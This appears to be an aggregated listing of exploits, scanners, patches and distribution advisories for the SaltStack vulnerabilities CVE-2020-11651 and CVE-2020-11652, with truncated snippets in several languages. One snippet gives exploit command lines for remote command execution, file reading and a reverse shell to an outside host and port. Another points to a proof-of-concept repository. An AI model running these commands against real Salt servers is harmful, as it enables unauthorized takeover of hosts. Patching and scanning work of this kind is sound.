salt-vulnerabilities

Salt Stack Profil Dieses Profil prüft, ob Ihre Salt-Installation auf einem Stand gepatcht ist, der Sie vor CVE-2020-11651 und CVE-2020-11652 schützt. Dies geschieht durch Überprüfung, ob die Pakete salt-api, salt-cloud, salt-master, salt-minion, salt-ssh, salt-syndic und salt entweder in Version...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...

CVE-2020-11651-poc

Exploit PoC per CVE-2020-11651 e CVE-2020-11652 Questo è un exploit proof of concept basato sullo script di controllo iniziale. Usalo per verificare di aver aggiornato correttamente i tuoi server Salt master a una release contenente le correzioni necessarie. Grazie a F-Secure Labs per la loro...

CVE-2020-11651-Poc

Questa è una versione aggiornata originale root@kitploit: git clone https://github.com/jasperla/CVE-2020-11651-poc.git cd CVE-2020-11651-poc quando usavo l'originale mi sono bloccato e ho aggiornato lo script pov...

salt-security-backports

Le patch ufficiali per le versioni precedenti possono essere richieste a: https://www.saltstack.com/lp/request-patch-april-2020/ ⚠ Le patch qui sono personalizzate e potrebbero differire da quelle ufficiali ⚠ Patch di sicurezza backportate per versioni di salt non supportate Le patch in questo...

CVE-2020-11651-CVE-2020-11652-EXP

इस रिपॉजिटरी में README नहीं है।...

cve-2020-11651-exp-plus

Use bash para executar o parâmetro --exec. O script original era /bin/sh, então alguns comandos são incompatíveis, como o reverse shell em bash. 2. O código original obtinha a versão do salt-master local para determiner se o host remoto estava vulnerável, um erro lógico óbvio. Removi diretamente...

CVE-2020-11651-PoC

CVE-2020-11651-PoC Repository che contiene un exploit CVE-2020-11651 aggiornato per funzionare con le ultime versioni di Python e gestire gli errori relativi alle connessioni. COPIA DEL README DAL REPOSITORY ORIGINALE Repository Originale Exploit PoC per CVE-2020-11651 e CVE-2020-11652 Questo è u...

salt-rce-scanner-CVE-2020-11651-CVE-2020-11652

Was ist das? Scan-Tool zum Testen auf SaltStack-Schwachstellen CVE-2020-11651 & CVE-2020-11652. Die Schwachstellen ermöglichen es einem Angreifer, der sich mit dem Port des "Request-Servers" verbinden kann, alle Authentifizierungs- und Autorisierungskontrollen zu umgehen und beliebige...

Exploit for CVE-2020-11651

This is an updated verison original...

Ubuntu 14.04 LTS : Salt vulnerabilities (USN-6849-1)

The remote Ubuntu 14.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-6849-1 advisory. It was discovered that Salt incorrectly validated method calls and sanitized paths. A remote attacker could possibly use this issue to access some method...

Ubuntu: Security Advisory (USN-6849-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2024 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

openSUSE: Security Advisory for salt (openSUSE-SU-2021:2106-1)

The remote host is missing an update for the Copyright C 2021 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...

openSUSE: Security Advisory for salt (openSUSE-SU-2021:0899-1)

The remote host is missing an update for the Copyright C 2021 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...

SUSE: Security Advisory (SUSE-SU-2021:2105-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SUSE: Security Advisory (SUSE-SU-2021:2106-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SUSE: Security Advisory (SUSE-SU-2020:1150-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SUSE: Security Advisory (SUSE-SU-2020:1151-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Exploit for Path Traversal in Saltstack Salt

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Exec-Master:...

Ubuntu 16.04 LTS / 18.04 LTS : Salt vulnerabilities (USN-4459-1)

The remote Ubuntu 16.04 LTS / 18.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-4459-1 advisory. It was discovered that Salt allows remote attackers to determine which files exist on the server. An attacker could use that to extract...